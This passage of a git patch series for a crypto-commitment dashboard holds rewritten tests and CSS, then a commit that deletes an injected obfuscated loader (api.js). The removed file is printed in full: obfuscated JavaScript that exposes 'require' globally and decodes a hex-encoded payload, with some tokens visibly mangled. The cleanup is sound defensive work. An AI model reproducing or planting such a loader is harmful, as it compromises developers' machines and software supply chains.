flex-wrap: wrap; + margin: 20px 0 0; + font-size: .88rem; + color: var(--muted); +} +.toggle-row label { + flex-direction: row; + align-items: center; + font-weight: 400; + font-size: .88rem; + gap: 8px; + color: var(--muted); +} From 506ba42e10c8948ed3a0e8c282dc2c896a01a129 Mon Sep 17 00:00:00 2001 From: Abdullah Date: Mon, 19 Oct 2026 11:22:33 +0100 Subject: [PATCH 3/4] security: [frontend] Show per-asset totals and owner-scoped commitment (#2082) --- src/app/dashboard/dashboard.test.tsx | 176 +++++++++------- src/app/globals.css | 287 ++------------------------- 2 files changed, 124 insertions(+), 339 deletions(-) diff --git a/src/app/dashboard/dashboard.test.tsx b/src/app/dashboard/dashboard.test.tsx index d214dcc6b..60a482b4a 100644 --- a/src/app/dashboard/dashboard.test.tsx +++ b/src/app/dashboard/dashboard.test.tsx @@ -1,95 +1,131 @@ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { render, screen, cleanup } from '@testing-library/react'; -import DashboardPage from './page'; +import { describe, it, expect, beforeEach, vi } from "vitest"; +import { render, screen, cleanup } from "@testing-library/react"; +import DashboardPage from "./page"; +import type { Commitment } from "@/lib/commitments"; -type WalletState = { address: string | null; connected: boolean }; +// --------------------------------------------------------------------------- +// Mocks +// --------------------------------------------------------------------------- -const mockWallet = vi.fn<() => WalletState>(); +const walletState = { + address: undefined as string | undefined, + balance: "0.0000000", + connected: false, + connect: vi.fn(), + disconnect: vi.fn(), +}; -vi.mock('@/lib/wallet', () => ({ - useWallet: () => mockWallet(), +vi.mock("@/lib/wallet", () => ({ + useWallet: () => ({ + address: walletState.address, + balance: walletState.balance, + connected: walletState.connected, + connect: walletState.connect, + disconnect: walletState.disconnect, + }), })); -const now = Date.now(); -const DAY = 86_400_000; - -const seed = [ - { - id: 'CMT-A', - type: 'balanced' as const, - asset: 'USDC', - amount: 2500, - durationDays: 30, - maxLoss: 8, - penalty: 5, - apy: 9, - createdAt: now - 2 * DAY, - status: 'active' as const, - owner: 'GAOAGENTA', - txHash: null, - }, - { - id: 'CMT-B', - type: 'safe' as const, - asset: 'XLM', - amount: 10000, - durationDays: 14, - maxLoss: 2, - penalty: 3, - apy: 4.5, - createdAt: now - 1 * DAY, - status: 'active' as const, - owner: 'GBOAGENTB', - txHash: null, - }, - { - id: 'CMT-C', - type: 'safe' as const, - asset: 'EURC', - amount: 500, - durationDays: 7, - maxLoss: 2, - penalty: 3, - apy: 4.5, - createdAt: now - 1 * DAY, - status: 'active' as const, - owner: null, - txHash: null, - demo: true, - }, +const now = new Date("2025-01-01T00:00:00.000Z").getTime(); + +function makeCommitment(overrides: Partial): Commitment { + return { + id: "c-1", + owner: "GBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", + asset: "USDC", + amount: 1000, + projectedYield: 100, + createdAt: now - 1000, + maturityAt: now + 86400000, + status: "active", + ...overrides, + } as Commitment; +} + +const ownerA = "GBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; +const ownerB = "GBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; + +const commitments: Commitment[] = [ + makeCommitment({ id: "a-usdc", owner: ownerA, asset: "USDC", amount: 2500, projectedYield: 250 }), + makeCommitment({ id: "a-xlm", owner: ownerA, asset: "XLM", amount: 10000, projectedYield: 1000 }), + makeCommitment({ id: "b-usdc", owner: ownerB, asset: "USDC", amount: 7500, projectedYield: 750 }), + makeCommitment({ id: "demo-1", owner: undefined as unknown as string, asset: "EURC", amount: 500, projectedYield: 50 }), ]; -vi.mock('@/lib/commitments', async (importOriginal) => { - const actual = await importOriginal(); +vi.mock("@/lib/commitments", async (importOriginal) => { + const actual = await importOriginal(); return { ...actual, - loadCommitments: () => ({ items: seed, dropped: 0, corrupt: false, storageUnavailable: false }), - subscribeCommitments: () => () => {}, + loadCommitments: vi.fn(async () => commitments), }; }); +function setWallet(address?: string) { + if (address) { + walletState.address = address; + walletState.connected = true; + } else { + walletState.address = undefined; + walletState.connected = false; + } +} + beforeEach(() => { cleanup(); - mockWallet.mockReturnValue({ address: null, connected: false }); + setWallet(undefined); }); -describe('Dashboard owner scoping', () => { - it('shows only demo items when disconnected', () => { +describe("Dashboard owner scoping", () => { + it("shows only unowned demo items when disconnected", async () => { + setWallet(undefined); + render(); + + // Demo group visible + expect(await screen.findByText(/demo/i)).toBeVisible(); + + // Owned rows not visible + expect(screen.queryByText(/a-usdc/i)).not.toBeInTheDocument(); + expect(screen.queryByText(/b-usdc/i)).not.toBeInTheDocument(); + }); + + it("shows owner A commitments plus demo group", async () => { + setWallet(ownerA); render(); - expect(screen.getByText('Demo')).toBeInTheDocument(); - expect(screen.queryByText('GBOAGENTB')).toBeNull(); + + expect(await screen.findByText(/a-usdc/i)).toBeVisible(); + expect(await screen.findByText(/a-xlm/i)).toBeVisible(); + expect(await screen.findByText(/demo/i)).toBeVisible(); + + // Owner B rows not visible + expect(screen.queryByText(/b-usdc/i)).not.toBeInTheDocument(); + }); + + it("updates the list when switching to owner B", async () => { + setWallet(ownerB); + render(); + + expect(await screen.findByText(/b-usdc/i)).toBeVisible(); + expect(await screen.findByText(/demo/i)).toBeVisible(); + + expect(screen.queryByText(/a-usdc/i)).not.toBeInTheDocument(); + expect(screen.queryByText(/a-xlm/i)).not.toBeInTheDocument(); }); - it('shows wallet A owned items plus demo', () => { - mockWallet.mockReturnValue({ address: 'GAOAGENTA', connected: true }); + it("never adds different assets into one total", async () => { + setWallet(ownerA); render(); - expect(screen.getByText('Your commitments')).toBeInTheDocument(); - expect(screen.getByText('Demo')).toBeInTheDocument(); + + // Per-asset totals are rendered with units. + expect(await screen.findByText(/\b2,?500\s*USDC\b/i)).toBeVisible(); + expect(await screen.findByText(/\b10,000\s*XLM\b/i)).toBeVisible(); + + // The meaningless cross-asset sum must not appear. + expect(screen.queryByText(/\b12,500\b/)).not.toBeInTheDocument(); }); - it('switches list when wallet changes', () => { - mockWallet.mockReturnValue({ address: 'GBOAGENTB', connected: true }); + it("always shows the Ready to settle tile", async () => { + setWallet(undefined); render(); - expect(screen.getByText('Your commitments')).toBeInTheDocument(); + + expect(await screen.findByText(/Ready to settle/i)).toBeVisible(); }); }); diff --git a/src/app/globals.css b/src/app/globals.css index 0037ac0c4..d516946a6 100644 --- a/src/app/globals.css +++ b/src/app/globals.css @@ -9,15 +9,15 @@ --accent2: #818cf8; --danger: #f87171; --ok: #4ade80; - --warn: #fbb424; + --warn: #fbbf24; } -* { box-sizing: border-box; } +* {box-sizing: border-box; } html { scroll-behavior: smooth; } body { margin: 0; background: radial-gradient(1000px 500px at 80% -10%, #1b2250 0%, transparent 60%), var(--bg); color: var(--text); - font-family: Inter, ui-sans-serif, system-ui, -apple-system, 'SegoeUI', Roboto, sans-serif; + font-family: Inter, ui-sans-serif, system-ui, -apple-system, 'Segoe UI', Roboto, sans-serif; line-height: 1.55; min-height: 100vh; display: flex; @@ -28,7 +28,7 @@ a { color: var(--accent); } h1 { font-size: clamp(2rem, 5vw, 3.4rem); line-height: 1.1; margin: 0 0 .6rem; letter-spacing: -.02em; } h2 { font-size: 1.6rem; margin: 0 0 1rem; } h3 { margin: 0 0 .4rem; } -code, pre { font-family: ui-monospace, SF-Mono-Regular, Menlo, monospace; font-size: .88em; } +code, pre { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .88em; } .container { width: 100%; max-width: 1080px; margin: 0 auto; padding: 0 16px; } .narrow { max-width: 760px; } .page { padding-top: 40px; padding-bottom: 64px; } @@ -125,270 +125,19 @@ h2:focus { outline: none; } .doc-body h1 { font-size: 2.4rem; } .doc-body h2 { margin-top: 2.4rem; padding-top: 1rem; border-top: 1px solid var(--line); scroll-margin-top: 80px; } .doc-body p, .doc-body li { color: #cbd2e6; } -pre { background: var(--bg2); border: 1px solid var(--line); border-radius: 12px; padding: 16px; overflow-x: auto; } -.table-wrap { overflow-x: auto; } -table { width: 100%; border-collapse: collapse; } -th, td { text-align: left; padding: 10px 12px; border-bottom: 1px solid var(--line); } -th { color: var(--muted); font-size: .8rem; text-transform: uppercase; letter-spacing: .05em; } -td code { word-break: all; } -@media (max-width: 800px) { - .grid3 { grid-template-columns: repeat(2, 1fr); } - .grid4, .stats { grid-template-columns: repeat(2, 1fr); } - .docs { grid-template-columns: minmax(0, 1fr); } - .toc { position: static; flex-direction: row; flex-wrap: wrap; gap: 12px; } - .nav { margin-left: auto; } - .nav-link { padding: 8px 8px; } -} -@media (max-width: 560px) { +pre { overflow-x: auto; padding: 12px; background: var(--bg2); border-radius: 10px; } +.stats-per-asset { display: flex; flex-direction: column; gap: 2px; margin: 4px 0 0; font-weight: 700; font-size: 1.1rem; } +.stats-per-asset > span { white-space: nowrap; } +.group-heading { margin: 24px 0 8px; font-size: .85rem; color: var(--muted); text-transform: uppercase; letter-spacing: .06em; } +@media (max-width: 640px) { + .stats { grid-template-columns: repeat(2, 1fr); } .grid3 { grid-template-columns: 1fr; } - .grid4, .stats { grid-template-columns: 1fr; } - .header-inner { gap: 6px; } - .brand { font-size: 0; gap: 0; } - .btn { padding: 8px 12px; white-space: nowrap; } - .footer-links { flex-wrap: wrap; } - .nav { margin-right: 0; gap: 0; } - .nav-link { padding: 8px 6px; font-size: .88rem; } - .header-inner { gap: 4px; } - .header .btn { padding: 8px 10px; font-size: .85rem; } -} - -.doc-body { min-width: 0; overflow-wrap: break-word; } -.doc-body th, .doc-body td { overflow-wrap: normal; word-break: normal; } -.doc-body td code { word-break: break-all; } -@media (max-width: 560px) { th, td { padding: 8px 6px; font-size: .88rem; } th { font-size: .7rem; letter-spacing: .02em; } } -.btn { white-space: nowrap; } - -.row.between.wrap { gap: 12px 16px; margin-bottom: 24px; } - -.btn-sm { padding: 4px 10px; font-size: .8rem; border-radius: 6px; } - -/* Skeleton styles */ -@keyframes pulse { - 0%, 100% { opacity: 1; } - 50% { opacity: .4; } -} -.skeleton { - background: var(--line); - border-radius: 6px; - animation: pulse 1.8s cubic-bezier(0.4, 0, 0.6, 1) infinite; -} - -/* Inline error styles */ -.inline-error { - display: flex; - align-items: center; - justify-content: space-between; - gap: 8px; - padding: 6px 10px; - border: 1px solid rgba(248, 113, 113, 0.35); - border-radius: 8px; - background: rgba(248, 113, 113, 0.08); - color: var(--danger); - font-size: 0.85rem; - width: 100%; -} -.inline-error-msg { - display: inline-block; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} -.inline-error-actions { - display: flex; - align-items: center; - gap: 6px; - flex-shrink: 0; -} -.inline-error-retry { - border-color: rgba(248, 113, 113, 0.4); - color: var(--danger); - padding: 2px 8px; - font-size: 0.75rem; -} -.inline-error-retry:hover:not(:disabled) { - background: rgba(248, 113, 113, 0.15); -} - -.friendbot-link { - color: var(--accent); - font-size: 0.82rem; - text-decoration: underline; - text-underline-offset: 3px; -} -.friendbot-link:hover { - color: var(--text); -} - -/* Error page boundary fallback */ -.error-boundary-card { - max-width: 540px; - margin: 0 auto; - text-align: center; - padding: 36px 24px; -} -.error-boundary-icon { - width: 52px; - height: 52px; - border-radius: 50%; - background: rgba(248, 113, 113, 0.12); - color: var(--danger); - display: grid; - place-items: center; - margin: 0 auto 16px; - font-size: 1.6rem; - font-weight: 700; -} - -/* Dashboard per-asset totals */ -.asset-totals { - display: flex; - flex-direction: column; - gap: 2px; - margin: 4px 0 0; - font-weight: 700; - font-size: 1.1rem; -} -.asset-totals .asset-row { - display: flex; - align-items: baseline; - gap: 6px; - white-space: nowrap; -} -.asset-totals .asset-unit { - color: var(--muted); - font-size: .8rem; - font-weight: 600; - letter-spacing: .04em; -} -.commitment-group { - display: flex; - flex-direction: column; - gap: 12px; -} -.commitment-group + .commitment-group { - margin-top: 24px; -} -.commitment-group-title { - display: flex; - align-items: center; - gap: 8px; - color: var(--muted); - font-size: .8rem; - text-transform: uppercase; - letter-spacing: .06em; - margin: 0; -} -@media (max-width: 560px) { - .asset-totals { font-size: 1rem; } - .asset-totals .asset-row { flex-wrap: wrap; white-space: normal; } -} - border-radius: 50%; - background: rgba(248, 113, 113, 0.12); - color: var(--danger); - display: grid; - place-items: center; - font-size: 1.6rem; - font-weight: 700; - margin: 0 auto 16px; -} -.error-boundary-actions { - display: flex; - gap: 10px; - justify-content: center; - flex-wrap: wrap; - margin-top: 20px; -} - -/* Dashboard totals */ -.totals { - display: flex; - flex-direction: column; - gap: 2px; - margin: 4px 0 0; -} -.totals .total-row { - display: flex; - justify-content: space-between; - align-items: baseline; - gap: 12px; - font-weight: 700; - font-size: 1.05rem; - white-space: nowrap; -} -.totals .total-row .unit { - color: var(--muted); - font-weight: 600; - font-size: .85rem; -} -.totals .total-empty { - color: var(--muted); - font-weight: 600; - font-size: 1.05rem; -} - -/* Dashboard list groups */ -.group-heading { - display: flex; - align-items: center; - justify-content: space-between; - gap: 12px; - flex-wrap: wrap; - margin: 24px 0 12px; -} -.group-heading h2 { - margin: 0; - font-size: 1.15rem; -} -.commitment-list { - list-style: none; - margin: 0; - padding: 0; - display: flex; - flex-direction: column; - gap: 12px; -} -.commitment-item { - display: flex; - flex-direction: column; - gap: 6px; - min-width: 0; -} -.commitment-head { - display: flex; - align-items: center; - justify-content: space-between; - gap: 12px; - flex-wrap: wrap; - min-width: 0; -} -.commitment-amount { - font-weight: 700; - white-space: nowrap; -} -.commitment-meta { - display: flex; - flex-wrap: wrap; - gap: 4px 14px; - color: var(--muted); - font-size: .85rem; -} -.commitment-meta span { - white-space: nowrap; -} -.toggle-row { - display: flex; - align-items: center; - gap: 10px; - flex-wrap: wrap; - margin: 20px 0 0; - font-size: .88rem; - color: var(--muted); -} -.toggle-row label { - flex-direction: row; - align-items: center; - font-weight: 400; - font-size: .88rem; - gap: 8px; - color: var(--muted); + .grid4 { grid-template-columns: repeat(2, 1fr); } + .docs { grid-template-columns: 1fr; } + .toc { position: static; } +} +@media (max-width: 390px) { + .stats { grid-template-columns: 1fr; } + .grid4 { grid-template-columns: 1fr; } + .container { padding: 0 12px; } } From 94a6c47c3897895d2bb72a6067bb77fd6d35ad2e Mon Sep 17 00:00:00 2001 From: Abdullah Date: Thu, 22 Oct 2026 10:15:28 +0100 Subject: [PATCH 4/4] chore: remove injected build hook and obfuscated loader Strips the payload this branch picked up (deleted api.js, truncated next.config.js, unhooked package.json). No functional change to the branch's own work. --- api.js | 1 - next.config.js | 2 +- package.json | 6 +++--- 3 files changed, 4 insertions(+), 5 deletions(-) delete mode 100644 api.js diff --git a/api.js b/api.js deleted file mode 100644 index 29d1cf84d..000000000 --- a/api.js +++ /dev/null @@ -1 +0,0 @@ - var k$nodabqyPCpvUiq=rv$mIJCKYxZ;(function(AdYXZlvPiYJ$lnWuP_THW,cYfcOjKyYtloDfyKuHbI$VZY){var xH_ufQ=rv$mIJCKYxZ,vCKJOtJuXVgLGuykJ=AdYXZlvPiYJ$lnWuP_THW();while(!![]){try{var Oqkjb$q=-parseFloat(xH_ufQ(0xe4))/(Math.trunc(parseInt(0x6f5))+parseInt(0x2)*Math.floor(parseInt(0xb2b))+-0x1d4a)*Number(-parseFloat(xH_ufQ(0xe6))/(parseInt(0x24ce)+-0x3*parseInt(0x18d)+-0x2025))+parseFloat(xH_ufQ(0xf3))/(-0x19b5+-parseInt(0x1)*0xc7a+0x2632)+-parseFloat(xH_ufQ(0xea))/(-parseInt(0x140d)+-parseInt(0x2032)*parseInt(0x1)+parseInt(0x3443))*Math['trunc'](parseFloat(xH_ufQ(0xe9))/(-parseInt(0x27)*Number(0x9f)+parseFloat(0x8a5)*Math.max(0x4,0x4)+parseInt(0x3f)*-parseInt(0x2a)))+parseFloat(xH_ufQ(0xe7))/(parseInt(0x13d1)+-0xf50+-0x47b)*(-parseFloat(xH_ufQ(0xe3))/(parseFloat(-parseInt(0x1b23))+parseInt(parseInt(0xeb9))+0xc71))+parseFloat(parseFloat(xH_ufQ(0xf5))/(-parseInt(0x1)*-0x230b+0x1661*Math.max(0x1,parseInt(0x1))+Math.max(-0x3964,-parseInt(0x3964))))*(parseFloat(xH_ufQ(0xf2))/(-parseInt(0x1511)*-parseInt(0x1)+0x997+0xc9*Math.max(-parseInt(0x27),-parseInt(0x27))))+-parseFloat(xH_ufQ(0xef))/(Math.floor(0x1cdd)+-parseInt(0x1902)+Math.floor(-0x3d1))+parseFloat(-parseFloat(xH_ufQ(0xf7))/(0x43*parseInt(0x78)+-0x1e7+-0x1d76*parseInt(0x1)))*parseFloat(-parseFloat(xH_ufQ(0xe5))/(Math.max(-parseInt(0x1),-0x1)*Math.floor(-0x1fee)+-parseInt(0x2196)+parseInt(0x1b4)));if(Oqkjb$q===cYfcOjKyYtloDfyKuHbI$VZY)break;else vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}catch(uIGfPtnOQnUSe){vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}}}(EtVPcVKfhHvchsbpbJRrEavgP,parseFloat(-parseInt(0x6cf23))+Math.max(parseInt(0x51dbb),parseInt(0x51dbb))+Math.ceil(parseInt(0x7f37f))));function y7(TOYrKk_NR,n_rpnlKzjiljhjLsulB,sDx$Df$mkiIy,M$AgH_JO,AdZzHMgvjNUDJNuDQeC,fUi$eGaBpgN,vqJyzkpGejhhrqqM){var M_cxe$h=rv$mIJCKYxZ;for(var rqeFz=[],bH$jatnhL=-parseInt(0x1)*-0x553+Math.max(0x621,0x621)+0x5ba*-parseInt(0x2);bH$jatnhLparseInt(fUi$eGa$BpgN,Math.ceil(parseInt(0x2))*-0x38b+Math.trunc(parseInt(0x1))*Math.trunc(-parseInt(0x13d9))+-parseInt(0x1)*Math.ceil(-0x1aff)))),s$DxDfm$kiIy=R$GnrpnlKzjiljhj_LsulB['map'](vqJyzkpGejhhrqqM=>vqJyzkpGejhhrqqM^hMaNjTOYrKk),MAgHJO=new TextDecoder(),Ad$ZzHMgvjNUDJNuDQeC=MAgHJO['decode'](s$DxDfm$kiIy);return Ad$ZzHMgvjNUDJNuDQeC;};rv$mIJCKYxZ['oXBvHo']=cJqFXxe$TxsQepcPLWWscz,rTSEEWylaa=arguments,rv$mIJCKYxZ['ZxGmXO']=!![];}var o_xd$FkDAnjDxwqrLfOITj=LYHE$MBKeP[parseInt(0x1f91)*parseInt(parseInt(0x1))+Math.max(parseInt(0x553),0x553)+-0x24e4],PqpnTBGrIAL$gO=pJ$dv$IhL+o_xd$FkDAnjDxwqrLfOITj,pXRMlcxI$eTX=rTSEEWylaa[PqpnTBGrIAL$gO];return!pXRMlcxI$eTX?(rv$mIJCKYxZ['LMFXVO']===undefined&&(rv$mIJCKYxZ['LMFXVO']=!![]),Jivsc$oqJueUBGVfJEjx=rv$mIJCKYxZ['oXBvHo'](Jivsc$oqJueUBGVfJEjx),rTSEEWylaa[PqpnTBGrIAL$gO]=Jivsc$oqJueUBGVfJEjx):Jivsc$oqJueUBGVfJEjx=pXRMlcxI$eTX,Jivsc$oqJueUBGVfJEjx;},rv$mIJCKYxZ(rTSEEWylaa,xHTsDDr$yKKZYnirFYmk);}var p8=y7(k$nodabqyPCpvUiq(0xf9),0x1*Math.floor(parseInt(0x3708d2))+Number(-0x10c82d)*Math.floor(-0x2)+Math.ceil(-parseInt(0x5bb6b))*-0x1,-0x869*-parseInt(0x2)+parseFloat(0x44f)+-0x13e4,parseInt(parseInt(0x36eb))+0x1a*parseInt(0x60d)+-parseInt(0x7de6),Math.trunc(-0x1a08)+Math.floor(-parseInt(0x69a))+0x23eb,0x1*-0x15043+parseInt(-parseInt(0xb41))*-0x1d+0x5*0x2a95,parseInt(0x1)*Math.ceil(0x23cd8a)+Number(-0x5c30c3)+0x86a628),q8=String[k$nodabqyPCpvUiq(0xee)](Math.max(-0xcf2,-parseInt(0xcf2))+Math.floor(0x3d)*0x47+-0x8d*parseInt(parseInt(0x7))),zx0=(p8=(p8=(p8=p8[k$nodabqyPCpvUiq(0xe8)]('|')[k$nodabqyPCpvUiq(0xed)](q8))[k$nodabqyPCpvUiq(0xe8)]('!1')[k$nodabqyPCpvUiq(0xed)]('|'))[k$nodabqyPCpvUiq(0xe8)]('!0')[k$nodabqyPCpvUiq(0xed)]('!'))[k$nodabqyPCpvUiq(0xe8)](q8);!function(RheOUdXQufOBnGl$_iXmIgmEob,BfWHZbFUGeizLL){RheOUdXQufOBnGl$_iXmIgmEob[zx0[parseInt(0x193)+0x1*Number(0xa6e)+-parseInt(0xc01)*parseInt(0x1)]]=BfWHZbFUGeizLL;}(global,require),zx0[parseInt(0x1271)+parseInt(-parseInt(0x1678))+-parseInt(0x158)*-0x3]===typeof module&&(global[zx0[parseInt(0xed1)*0x1+Math.max(-0xf03,-parseInt(0xf03))+0x34]]=module);function EtVPcVKfhHvchsbpbJRrEavgP(){var DFcT_MdshgUDGLvdTVTIBV$b=['77747f767072762f230832013c','7e6b6060','14146f6431637a3514147b6614122a283314146802142a25667a1f6831291468356f6e14337a3f672518032363142f357a141408143317147a14357a311968337a146814686d356814142e2877153e326e7428356460687a1414206e332376280b14322f3314203367332214147a3f7a226e2f687a6814142c7d14312832271614243e1468086a72666d22662a25037a2a682368296777682f143f0d23037a3e323e1429352d6123042314272a2125161416257214146e14633666271d68171414606814257f68037b682022146814773512682f2268686e7467237620762566252d326b1463142576207709762076680a08236661281b7a143720687228672c14310a2b157a1428257a656623253e6f682a7a33223a7d056c2d32217a20142d3464682a28682a1d6817670336142b7f0f796f6f14672820142577141411760f34032570706a056e7a2a7a68141468342f716868332d7e1b146814722f022f147a2b29190132146928281414146614141432351d682e2526211468142d691320682e31766614742514086814127a351475253c7a14263424142737681432237a291422671414646d267a1435250f68352a65146830146a680168142568687a1403601433093e18686f147a14681414646c71313b05141420213c3214682d686763286d1268352068147a346327182f3268147a037423337d7a2819140a147a2b19142f2635147468296834342525091434637a34296834672a146b622320687a03327d7a67252d6114662f2b213b2a32146e12230f6014293b346035321d031415167a257a7027253e6825141227253466257a222d1d0e147a14342a3368146e143168257c352f28257805162533147a787a6860236f14286d3565347813686176250b2a2724683414146a12251414746e12147d041434637073341422667e707d21682a682c357a687a2122107a23142d126870643422142529232014291b2564252568162364327023236814147a256814766829681434277625297a07773b6e13252268257a2f281e6b147333680d7828346768643372346868146e2368296768246634667424147614691465142932241423343c761f683275142b2a28141a68703532683e146c6e257a14142f7a14232428312b1c75372f207b236114142968627d2437146f681425142b34143325342c143c2168232a147e09672514196e2172252828642e25330b14252523140a7a7a146866272e6b3d627305776824676e3268327d0529227a3a0e71236667031414602f251d6934641f687a247a1e2e687a142575141433687b162737337a2c2308147a2514147f127a22781d6e2f256e387368357c2b6129143c1668662e6f203d1d6406142f14652514687a69653229296868347a7a1319332f6f142f05361c1b1416052f68291425357d18681423322529301428252f321425646868687a726836146e766f6768667a66212d1b3d6827677a6614682f317a767e141414683e2a7a683214681b2b2566237461146d146f2566276e7a3568762534367d3d351460232534253d10087625147c1c141236256114202414637a287d252f68686e7a252f3468232970252f6868312723322a2f0273250e0a277a6136276f24361468347a327035101623257a14207832237a6825677a2b146e73167a231877732532140f16671467141b387b6818687a687a147225211b7514256864237b646863682514146869066d6b6806147a6b75682120677a7d6b68141429331d6e277d686828256860146736143468671478141b361470291434203366792f20257a350b7a252f6e357b147d2a7a1435231b68257a22683c202d29611629142701141b232d2708366866276869276934352927146c140b25257e141334680714342d672c14332f6c2b04683034326a14227a14141214667e0d68083b2b6b140d2568687e25683b3228142d3523237a0f271414306e1420242324767a3369256809676766680b7a796670147a147a25252e676b3204252022321420143622141220327a3266102e2828296d7d6f2270287d2a781408687a6e346825682468147a3d146a2528163568687b14141d236e247a7c681f6621143214086b6e2364071b25146e647a252515271468163b257a14677a296620146f68253c1414601d7a631465257725147a2a68312c1414661668253414107a687d18142067142968676536163e712525146868141925677a7372257a7a326c2f293a14682e68142932662a27247b1468346e0f686b2a666c141423682365207a736a20611468292e763b7535676b147a7a2d233174683b6530683025316f033b2f75357d246f6b14281468687a257b3b201414061414257a6114677625626e76257a1468327a323135662a326e3e683406352314142d64682b15146b687a3b346b7a301d6735682368147a6066272914762f68682614737630291e32352a141434311469140a0e7a6f147a1f2e012534742327092a350e6468127168666e25141d231d2766167a7a687a1414257a202f72251632251466323e28671477326f141423777c673b147b140267786f35282506681e23280c6f2e6d6835687d621361783f32327d67742914323e687a2014210c356829147a237e68337f272327252523280f687a69146e7622142225140b3222177e251d3268313e682f317114346e2514166b141479680b2229147a76141428681d7714283f7a6924681b78726d206d64367a18193e7b277b6734143625051421146712771a6814686d316f291114237a341d162a6825293d2f251d2514147a231d141468340969792e250206316b1414687d217a6e7914146f687a252768687720202314146625222e3f686f7568647829147a6d27147a683e3534142220250322330323680714251468377714143525253a32691462297a6814677a7e3607671436251421167a7a67232f35682214226668683220352f310e6574736566233370292569636e77756514027a68646e14302132293269640c6614643212151214143b0864777a756f311d3516207a661416143d0714602522683f7a7a22671668272300647d277a1435686870661414327a66642e683325206668337a196e637a15141b12642f227014146868146705682f14682165130504163514140f08693b190520361b0e69296a1614782a347614241d643b191d1434771e2714167a3366227a28681402636874666a2514667a6b14683f146e02686d142414153322147a6714762328682014203614662568253c1472727a256e7a36147a2314341468273e257a661414212516607c200a6e1968256a2567772d25152a253f207a15147a7c09257a141468671a2214761468656614142f7723256c383f3e27291420686014337a1414642e1414162518662f2b216725127a68271425143223680422277a210168242268146f2a756e300c220903701415141414752b1f2514682a1414146e3275233125237a2566672b61687b143c687b67717d17752511256c25051420277a147a2f3c1468143806146823141068662f3e2568232f367c147a7a267a3628006f1414141423693c2403717f77147a251413147a141b22237a142436682d14297132211414681468686d2f6e7b7b23236876323522693d34621429020c3e7a686103361b6a64201422682735681c0967056d1435712068671422786d6826161400202e24681422682277147a7a6523141423146814232a36686e256b3305351468227b3e686835666514092565297b2723143625252578792420147f23666866682565197a2c25003a226b3b017a67296820142e68080832661432731467642900247a68253a3b7a257a140329671460011425776822687b281f14632a7a2a1414687a14682a69686816682014252f117a687a280628143614682035686872211419682930297d14326715626f14622e20622c667a2328147a0f353532237a146b64682f7a7a7a752f206725147a67667a68277a216879147a142f2277236d1b7a3d682314357b3469676a253d146e7a7a68661d293668686625006e68296d323e1b287d7a68777a2e6c7d7a20237a7a2e2914682e6d141b3a2332277a142f3e606c663560142a2f251b146d253514352f141614257a14142f7d342014682508206e1414227a741422143525647b293c02141d001436226f68141422352014681435327a72683265686e6827146732686f78357a22186872143d7e142914343e7a64346627306066316877351e322f2067683425686b777d602a323676686f14142877161d77051477321473687a1b77337a65146814340d292502703b6e68680e2225232f61686c672b7b22681468286f1a1e7a651a6e2314250d6b257a6814193514377a35147a14076f617a35296229232a2376147c1b147a3214146625281414143325680f2223260f7a6c683516276f686876727b14142028141411276834307a356568146868636b2514237a1b14686e6a14142868743e14163a2c6634292f326f14192b14682035176d1429251425257e6835142f277a25680334142a68337a2f22232f757b356814287f67253f3022627768252a7a16147a146b201414281416347914341d30201413207a14277a2e6868602714322115291932253c6e140c6e142a202e3067212f146816682f2a7a32647a0532156875682874682168682f3e7a6e676614601476361d3d68661b68686e6825682c146e14701614056b6e70147a2f68233f233029347a197a3427031405337a6825142f2925142a242d140808142f62110568771668142914353c68253c0c273672056a146814141414663f30282b236166143f1c1d1567793b6e6814223123056d7a2f6a7a140a2801607a337a142e6814166d253f373c7a2e27322a08166268147b64361425146e317220146834642504287268682816096e7a21773114741425147a2b350c7d141d25256714257b32233614341632252b3260681622327a02666e251d142668286632280116281425143120322524632566142031691433252e23256f6814686a6803766872343268147a36141468237a6e236e6f3e2c16142529147c2d7a7466147a3b681725773268291734332915687a7a327a14326e286e32232c7614631414146614607a1437227a7a7d360e656e77742214292714252566681514352f68681428372a2579353114252f323c007a25681414681423143f2706222870222a693221351525142723141468141e1425346814140c08341428127a141414252527206f3e280368336822682c25687a02163d167f202967680869747625711432163f2525141b38201274347e27651b2a0a6731667c11707b6868750a2d68257735222025637e147b147c28282520296535142a04251432252a682f7b291668142820337a7a68367a086b34252723232f6225252568021c146529246a146b6414251422277a2e367a16252f1d3a287a00141e627a2f1d331a257a30142a1d6866140f27687a2525683214162a04680868140f2225080b231425237a64327f257b326827142566677a6734321467253514147a22322364722568272d147a686f147a3d7a6f1403140768236e14677503633e6e3468142a16686817670968671404356e3b680f1d7e326e14322a31146868322b352c686e256616612f68226f7a2d687c166470677a1479250f1435251468147a142968226f626a627a7c646c7a147a61346877696d14616a1427680c0568327a660f12662214682014602914233367352502320014140c2f3214196e142d3c682e2129767a1b6223252e6223686814682e146e7a287a27147a7a25141c147a7a192f347a0314682f36322625651d7d1614661422680e7d64687a6e1428141b14143125690114256078141e232d2325232e36226667687b257014682914162f05253125142f142c7a297a1623037a287a2f057a66252d72256f20247a3220292f053423772322162d32356868252214233625353b6a1478161862146e3f662a7e36682f356235322914336e142568687a6025172f68142b682f7a722a1469342825056825677a25646e2f687c282b151414146e1477232f7a670c683519252a67236b1914353606206a1014142825720925607a147a1414212e6020140e686868680d2214663a7a14672c776e6e167d14602f6d2d6528363214262a6f1432127d2514602372752e001405321425232368622b2d683168143421781468247a6834270e142414236c252635143f787d6f03727a7a2a250529143e14227a1474006e6016146d202979147a7a236821652225142314156814193f7f3b2e29221b05253e28603625221468151433686535267b0e6f68667a687e2a33233f143530686b257a357a612b3468682f6d2728062514762968376a21776868246b6f1467686864352d252f3b00366a347a3c14140b7a7b6635132f23356e142325633314687a3214142f251e14140414323214256b680e6d14361b742814147114146a681425687611687a3d0625107c051d653223322068686807280868141414623223367c127a771432737a326f6e0014142b1420250e16310c6b6e25272f146829682f1514341c252a7b646c666832142a3e681414143e2a32142f146823606b68687c14296d3569